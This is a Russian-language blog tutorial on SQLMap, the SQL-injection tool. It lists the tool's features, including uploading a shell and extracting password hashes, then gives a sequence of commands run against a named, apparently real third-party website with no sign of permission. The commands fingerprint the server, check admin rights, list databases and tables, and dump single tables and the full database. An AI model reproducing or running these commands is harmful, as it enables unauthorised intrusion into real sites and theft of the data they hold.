SQLMap - краткий мануал


SQLMap — данная утилита работает на большинстве платформ и написана на Python'e.
Ее назначение-проведение sql инъекций.
Некоторые ее возможности:

* Определение "баннера системы" (сервера, интерпретатора скриптов, базы данных)
* Отображение имени пользователя, под которым работает атакуемое хозяйство
* Отображение баз данных, таблиц, колонок и полей
* Позволяет определить, есть ли у пользователя права администратора БД
* Позволяет выполнять произвольные SQL-запросы
* При хорошем стечении обстоятельств выдаст список пользователей и их хеш-пароли
* Позволяет сделать дамп, как отдельных таблиц, так и полный
* Может взаимодействовать со всем нам известным Metasploit'ом
* Используя баги в базах данных, может прочитать разные файлы, лежащие на сервере, будь то текстовый файл или скрипт
* Может взаимодействовать с дядей Гуглом
* Есть поддержка прокси
* Данные могут отправляться как методом GET(по умолчанию), так и POST
* Если на сервере включена "magic quotes", то будет применено кодирование с использованием функции CHAR()
* Существует возможность создавать файлы конфигурации, для тех кому лень постоянно вводить команды
* Позволяет залить шелл
* И еще много чего))

Вступление сделали — пришла пора потрогать утилитку.

Определяемся с целью — приступаем к пентестингу:
Первое, что нам нужно сделать, это узнать, что крутится на сервере и что вообще это за сервер там такой.
Сказано — сделано:
python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1

В приведенном выше обращении к SQLMap мы использовали три параметра. Собственно, Первый — это "-u", позволяет указать, над каким адресом, мы хотим произвести манипуляции, а Второй — это "-b", говорит о том, что мы хотим "банер". Третий параметр "-v", служит для определения уровня выводимой информации, их всего шесть "0-5".

Продолжим и узнаем под каким пользователем работает база данных:

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" —current-user -v 1

Параметр "—current-user", просит SQLMap отобразить юзера. Далее, узнаем с какой БД сейчас работаем:

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" —current-db -v 1

Параметр "—current-db", просит SQLMap отобразит БД.
Теперь попросим нашу утилитку узанать, есть ли у нашего пользователя права администратора. Делается это следующим образом:

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" —is-dba -v 1

Параметр "—is-dba" используется для определения прав администратора (True/False) у юзера. С помощью нехитрого параметра "—dbs", посмотрим список БД:

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" —dbs -v 1

Далее, посмотрим таблицы в этих БД, используя параметр "—tables":

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriID=50" —tables -v 1

Так же, есть возможность посмотреть список таблиц в конретной БД, используя такую команду:

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" —tables -D blindcan_rating -v 1

Если захочется окунуться глубже, то можно посмотреть столбци конкретной таблици. Делается это так:

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" —colums -T Bulletin -D blindcan_bulletin -v 1

Параметр "-Т" указывает на конкретную таблицу, а параметр "-D" соответственно на базу данных.
Для тех, кого интересуют внутренности таблиц(ы) — могут использовать ниже приведенную команду, для дампа последней(них):

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" —dump -T Category -D blindcan_rating -v 1

Если же интересует, не вся таблица, а конкретные столбцы, то их можно выбрать добавив параметры "—start" и "—stop". Выглядеть это будет так:

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" —dump -T Category -D blindcan_rating —start 1 —stop 5 -v 1

Параметр "—start" — указывает на начальную строку таблици, а параметр "—stop" соответственно — на конечную.
Сделать полный бэкап, можно используя параметр "—dum-all":

python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" —dump-all -v 1

Цель данной статьи была не объяснить и разъясненить всевозможные параметры данной утилиты, а подогреть интерес, тех кто с ней не знаком, а так же заинтересовать в ее дальнейшем использовании.

Комментарии

Отправить комментарий